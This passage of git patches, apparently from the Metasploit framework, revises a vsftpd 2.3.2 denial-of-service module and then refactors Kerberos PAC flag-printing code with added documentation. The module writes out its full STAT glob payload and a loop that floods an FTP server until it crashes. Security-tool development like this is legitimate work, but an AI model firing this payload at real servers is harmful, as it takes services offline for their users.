{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}' + payload = 'STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}' vprint_status("Payload being sent: #{payload}") From 9c888da5cbb82f118be09eb5fa4153b6a907615c Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 11:43:50 -0400 Subject: [PATCH 133/415] Reverted from threading as payload finally works --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 46 +++++-------------------- 1 file changed, 9 insertions(+), 37 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index b569f4c8ffef9..1d7d99a3383ae 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -30,12 +30,6 @@ def initialize(info = {}) } ) ) - - register_advanced_options( - [ - OptInt.new('TestThreads', [ true, 'Number of test threads', 5]) - ] - ) end def check @@ -80,47 +74,25 @@ def run payload = 'STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}' vprint_status("Payload being sent: #{payload}") - - threads = [] - datastore['TestThreads'].times do - threads << Thread.new do - # Connect to ftp port - ftp = connect_ftp(datastore['RHOSTS'], datastore['RPORT'], datastore['FTPUSER'], datastore['FTPPASS']) + print_status('sending payload') loop do - print_status('sending payload') + connect_login 10.times do - ftp.send_cmd([payload.to_s], false) + send_cmd([payload.to_s], false) end - ftp.send_cmd([payload.to_s], true) + send_cmd([payload.to_s], true) + disconnect rescue Rex::ConnectionTimeout print_error('Connection timeout! Sending again') rescue Errno::ECONNRESET print_error('Connection reset!') rescue Rex::ConnectionRefused print_good('Connection refused! Appears DOS attack succeeded.') - end - ftp.disconnect - end - end - sleep(1) until 10.times - - # Stop the threads - threads.each(&:kill) - threads.each(&:join) - print_status('DDOS ended.') + rescue EOFError + print_good('Stream was cut off abruptly. Appears DOS attack succeeded.') + break end - - def connect_ftp(host, port, user, pass) - ftp = Rex::Proto::FTP::Client.new(host, port, true) - ftp.connect - - # Log in to the FTP server - ftp.login(user, pass) - - # Set passive mode - ftp.passive = true - - ftp + disconnect end end From 775173381c1b52ba37cd03038669b5ec7ac41627 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 11:44:37 -0400 Subject: [PATCH 134/415] Made progress show in dots rather than status --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index 1d7d99a3383ae..fff7605444e5a 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -76,23 +76,28 @@ def run vprint_status("Payload being sent: #{payload}") print_status('sending payload') - loop do + loop do + print('.') connect_login - 10.times do + 10.times do send_cmd([payload.to_s], false) - end + end send_cmd([payload.to_s], true) disconnect - rescue Rex::ConnectionTimeout - print_error('Connection timeout! Sending again') - rescue Errno::ECONNRESET - print_error('Connection reset!') - rescue Rex::ConnectionRefused - print_good('Connection refused! Appears DOS attack succeeded.') + rescue Rex::ConnectionTimeout + print("\n") + print_error('Connection timeout! Sending again') + rescue Errno::ECONNRESET + print("\n") + print_error('Connection reset!') + rescue Rex::ConnectionRefused + print("\n") + print_good('Connection refused! Appears DOS attack succeeded.') rescue EOFError + print("\n") print_good('Stream was cut off abruptly. Appears DOS attack succeeded.') break - end + end disconnect end end From 73a33a9f7336aa3574176b90cb7a7d96071891ae Mon Sep 17 00:00:00 2001 From: cgranleese-r7 Date: Wed, 17 May 2023 16:45:15 +0100 Subject: [PATCH 135/415] Addresses PR feedback --- .../credential_cache/krb5_ccache_presenter.rb | 44 +++--- lib/rex/proto/kerberos/pac.rb | 16 ++- lib/rex/proto/kerberos/pac/krb5_pac.rb | 132 +++++++++++++++++- .../krb5_ccache_presenter_spec.rb | 54 +++---- 4 files changed, 185 insertions(+), 61 deletions(-) diff --git a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb index af3bd0830b441..8327417b461b0 100644 --- a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb +++ b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb @@ -31,11 +31,11 @@ class Krb5CcachePresenter private_constant :AD_TYPE_MAP # Tracks the currently supported BinData types that can be formatted by the - # Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter#print_bindata_model method. - BIT_LENGTHS = { + # Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter#print_bin_data_model method. + BIN_DATA_BIT_LENGTHS = { ::BinData::Bit1 => 1 }.freeze - private_constant :BIT_LENGTHS + private_constant :BIN_DATA_BIT_LENGTHS # @param [Rex::Proto::Kerberos::CredentialCache::Krb5Ccache] ccache def initialize(ccache) @@ -124,32 +124,34 @@ def present_cred(cred, key: nil) # .... .... .... .... .... .... .... ...1 Flag 31: The flag 31 is SET # # @param model The BinData object - # @param [Integer] bit_length The length of desired byte output - number of dots in example above + # @param [Integer, Nil] bit_length The length of desired byte output - number of dots in example above # @return [String] Formatted output - def print_bindata_model(model, bit_length: nil) + def print_bin_data_model(model, bit_length: nil) rows = [] - model_keys = [] - model_values = [] - bit_length ||= model.num_bytes * 8 + # i.e. [[:field_name_1, 1], [:field_name_2, 0]] fields_and_values = model.to_enum(:each_pair).to_a + fields = fields_and_values.map { |field, _value| field } + values = fields_and_values.map { |_field, value| value } # For now we only support bit1 flags from BinData, this could be extended in the future fields_and_values.each do |field, value| - model_keys << field - model_values << value - unless BIT_LENGTHS.keys.include?(value.class) - raise TypeError, "Unsupported field type #{value.class} - expected #{BIT_LENGTHS.keys.join(',')}" + unless BIN_DATA_BIT_LENGTHS.keys.include?(value.class) + raise TypeError, "Unsupported field type #{value.class} for field #{field.inspect} - expected one of #{BIN_DATA_BIT_LENGTHS.keys.join(',')}" end end - if bit_length < model_keys.length - raise ArgumentError, "Bit length(#{bit_length}) should not be less that the number of flags(#{model_keys.length}) within the BinData model" + # calculate the bit length; we can't rely on BinData's `num_bytes` in the senario of the model being 4 bits wide. + calculated_bit_length = values.sum { |value| BIN_DATA_BIT_LENGTHS.fetch(value.class) } + bit_length ||= calculated_bit_length + + if bit_length != calculated_bit_length + raise ArgumentError, "Not implemented. Bit length(#{bit_length}) should equal the bit length of the model #{calculated_bit_length}" end - padding = Array.new(bit_length - model_keys.length, :_reserved_) - flag_keys = padding + model_keys - binary_value = model_values.join + padding = Array.new(bit_length - fields.length, :_reserved_) + flag_keys = padding + fields + binary_value = values.join bit_length.times do |i| next if flag_keys[i].start_with?('_reserved_') @@ -175,7 +177,7 @@ def print_group_memberships(group_memberships) group_memberships.map do |group| group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read([group.attributes].pack('N')) output << "Relative ID: #{group.relative_id}\nAttributes: #{group.attributes}".indent(4) - output << print_bindata_model(group_attributes, bit_length: 32).to_s.indent(6) + output << print_bin_data_model(group_attributes, bit_length: 32).to_s.indent(6) end output end @@ -187,7 +189,7 @@ def print_user_flags(user_flags) output = [] user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read([user_flags].pack('N')) output << "User Flags: #{user_flags}".indent(2) - output << print_bindata_model(user_attributes, bit_length: 32).to_s.indent(4) + output << print_bin_data_model(user_attributes, bit_length: 32).to_s.indent(4) end # @param [RubySMB::Dcerpc::Ndr::NdrUint32] user_account_flags @@ -196,7 +198,7 @@ def print_user_account_flags(user_account_flags) output = [] user_account_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read([user_account_flags].pack('N')) output << "User Account Control: #{user_account_flags}".indent(2) - output << print_bindata_model(user_account_attributes, bit_length: 32).to_s.indent(4) + output << print_bin_data_model(user_account_attributes, bit_length: 32).to_s.indent(4) end # @param [Rex::Proto::Kerberos::Pac::Krb5LogonInformation] logon_info @@ -313,7 +315,7 @@ def present_upn_and_dns_information(upn_and_dns_info) output << "Flags: #{upn_and_dns_info.flags}".indent(2) upn_and_dns_info_attributes = Rex::Proto::Kerberos::Pac::UpnDnsInfoAttributes.read([upn_and_dns_info.flags].pack('N')) - output << print_bindata_model(upn_and_dns_info_attributes, bit_length: 32).to_s.indent(4) + output << print_bin_data_model(upn_and_dns_info_attributes, bit_length: 32).to_s.indent(4) if upn_and_dns_info.has_s_flag? output << "SAM Name: #{upn_and_dns_info.sam_name.encode('utf-8')}".indent(2) diff --git a/lib/rex/proto/kerberos/pac.rb b/lib/rex/proto/kerberos/pac.rb index 08131f7debd2e..a551c14f4fe3b 100644 --- a/lib/rex/proto/kerberos/pac.rb +++ b/lib/rex/proto/kerberos/pac.rb @@ -6,10 +6,20 @@ module Kerberos module Pac VERSION = 0 NETLOGON_FLAG = 0x20000 - SE_GROUP_MANDATORY = 1 - SE_GROUP_ENABLED_BY_DEFAULT = 2 - SE_GROUP_ENABLED = 4 + + # Kerberos: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/311aab27-ebdf-47f7-b939-13dc99b15341 + # Reference with details on flags: + # https://learn.microsoft.com/en-gb/windows/win32/api/winnt/ns-winnt-token_groups?redirectedfrom=MSDN#members + SE_GROUP_MANDATORY = 0x00000001 + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 + SE_GROUP_ENABLED = 0x00000004 + SE_GROUP_OWNER = 0x00000008 + SE_GROUP_RESOURCE = 0x20000000 + + # XXX: Does not include some of the newer SE_GROUP_* flags SE_GROUP_ALL = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + USER_NORMAL_ACCOUNT = 0x00000010 USER_DONT_EXPIRE_PASSWORD = 0x00000200 PAC_LOGON_INFO = 1 diff --git a/lib/rex/proto/kerberos/pac/krb5_pac.rb b/lib/rex/proto/kerberos/pac/krb5_pac.rb index 01a1e646114d7..57c4c0c2b7aa2 100644 --- a/lib/rex/proto/kerberos/pac/krb5_pac.rb +++ b/lib/rex/proto/kerberos/pac/krb5_pac.rb @@ -40,6 +40,8 @@ class Krb5SidAndAttributes < RubySMB::Dcerpc::Ndr::NdrStruct end # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/311aab27-ebdf-47f7-b939-13dc99b15341 + # + # [SIDATT] https://learn.microsoft.com/en-gb/windows/win32/api/winnt/ns-winnt-token_groups?redirectedfrom=MSDN class GroupAttributes < BinData::Record endian :big @@ -47,15 +49,28 @@ class GroupAttributes < BinData::Record bit1 :"_reserved_#{self.fields.length}" end + # @!attribute [rw] resource + # @return [BinData::Bit1] This setting means that the group is a domain-local or resource group. Corresponds to SE_GROUP_RESOURCE. For more information, see [SIDATT]. bit1 :resource 25.times do bit1 :"_reserved_#{self.fields.length}" end + # @!attribute [rw] owner + # @return [BinData::Bit1] This setting means that the group can be assigned as an owner of a resource. Corresponds to SE_GROUP_OWNER. For more information, see [SIDATT]. bit1 :owner + + # @!attribute [rw] enabled + # @return [BinData::Bit1] This setting means that the group is enabled for use. Corresponds to SE_GROUP_ENABLED. For more information, see [SIDATT]. bit1 :enabled + + # @!attribute [rw] enabled_by_default + # @return [BinData::Bit1] This setting means that the group is marked as enabled by default. Corresponds to SE_GROUP_ENABLED_BY_DEFAULT. For more information, see [SIDATT]. bit1 :enabled_by_default + + # @!attribute [rw] mandatory + # @return [BinData::Bit1] This setting means that the group is mandatory for the user and cannot be disabled. Corresponds to SE_GROUP_MANDATORY. For more information, see [SIDATT]. bit1 :mandatory end @@ -67,27 +82,69 @@ class UserFlagAttributes < BinData::Record bit1 :"_reserved_#{self.fields.length}" end + # @!attribute [rw] used_lmv2_auth_and_ntlmv2_session_key + # @return [BinData::Bit1] The LMv2 response from the LmChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used for authentication and the NTLMv2 response from the NtChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used session key generation. bit1 :used_lmv2_auth_and_ntlmv2_session_key + + # @!attribute [rw] used_lmv2_auth_and_session_key + # @return [BinData::Bit1] The LMv2 response from the LmChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used for authentication and session key generation. bit1 :used_lmv2_auth_and_session_key + # @!attribute [rw] used_ntlmv2_auth_and_session_key + # @return [BinData::Bit1] The NTLMv2 response from the NtChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used for authentication and session key generation. bit1 :used_ntlmv2_auth_and_session_key + + # @!attribute [rw] profile_path_populated + # @return [BinData::Bit1] Indicates that ProfilePath is populated. bit1 :profile_path_populated + + # @!attribute [rw] resource_group_ids + # @return [BinData::Bit1] Indicates that the ResourceGroupIds field is populated. bit1 :resource_group_ids + + # @!attribute [rw] accepts_ntlmv2 + # @return [BinData::Bit1] Indicates that the domain controller understands NTLMv2. bit1 :accepts_ntlmv2 + # @!attribute [rw] machine_account + # @return [BinData::Bit1] Indicates that the account is a machine account. bit1 :machine_account + + # @!attribute [rw] sub_authentication + # @return [BinData::Bit1] Sub-authentication used; session key came from the sub-authentication package. bit1 :sub_authentication + + # @!attribute [rw] extra_sids + # @return [BinData::Bit1] Indicates that the ExtraSids field is populated and contains additional SIDs. bit1 :extra_sids - bit1 :_reserved_27 + 1.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] lan_manager + # @return [BinData::Bit1] LAN Manager key was used for authentication. bit1 :lan_manager - bit1 :_reserved_29 + + 1.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] no_encryption + # @return [BinData::Bit1] No encryption is available. bit1 :no_encryption + + # @!attribute [rw] guest + # @return [BinData::Bit1] Authentication was done via the GUEST account; no password was used bit1 :guest end - # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380 - # Protocol revision 45.0 contains USER_ACCOUNT Codes in section 2.2.1.12 + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b10cfda1-f24f-441b-8f43-80cb93e786ec + # + # [RFC4120] https://www.rfc-editor.org/rfc/rfc4120 + # [RFC3961] https://www.ietf.org/rfc/rfc3961.txt + # [MS-KILE] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9 + # [MS-LSAD] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc class UserAccountAttributes < BinData::Record endian :big @@ -95,36 +152,98 @@ class UserAccountAttributes < BinData::Record bit1 :"_reserved_#{self.fields.length}" end + # @!attribute [rw] use_aes_keys + # @return [BinData::Bit1] This bit is ignored by clients and servers. bit1 :use_aes_keys + + # @!attribute [rw] partial_secrets_account + # @return [BinData::Bit1] Specifies that the object is a read-only domain controller (RODC). bit1 :partial_secrets_account + # @!attribute [rw] no_auth_data_required + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that when the key distribution center (KDC) is issuing a service ticket for this account, the privilege attribute certificate (PAC) is not to be included. For more information, see [RFC4120]. bit1 :no_auth_data_required + + # @!attribute [rw] trusted_to_authenticate_for_delegation + # @return [BinData::Bit1] This bit is used by the Kerberos protocol, as specified in [MS-KILE] section 3.3.1.1. bit1 :trusted_to_authenticate_for_delegation + + # 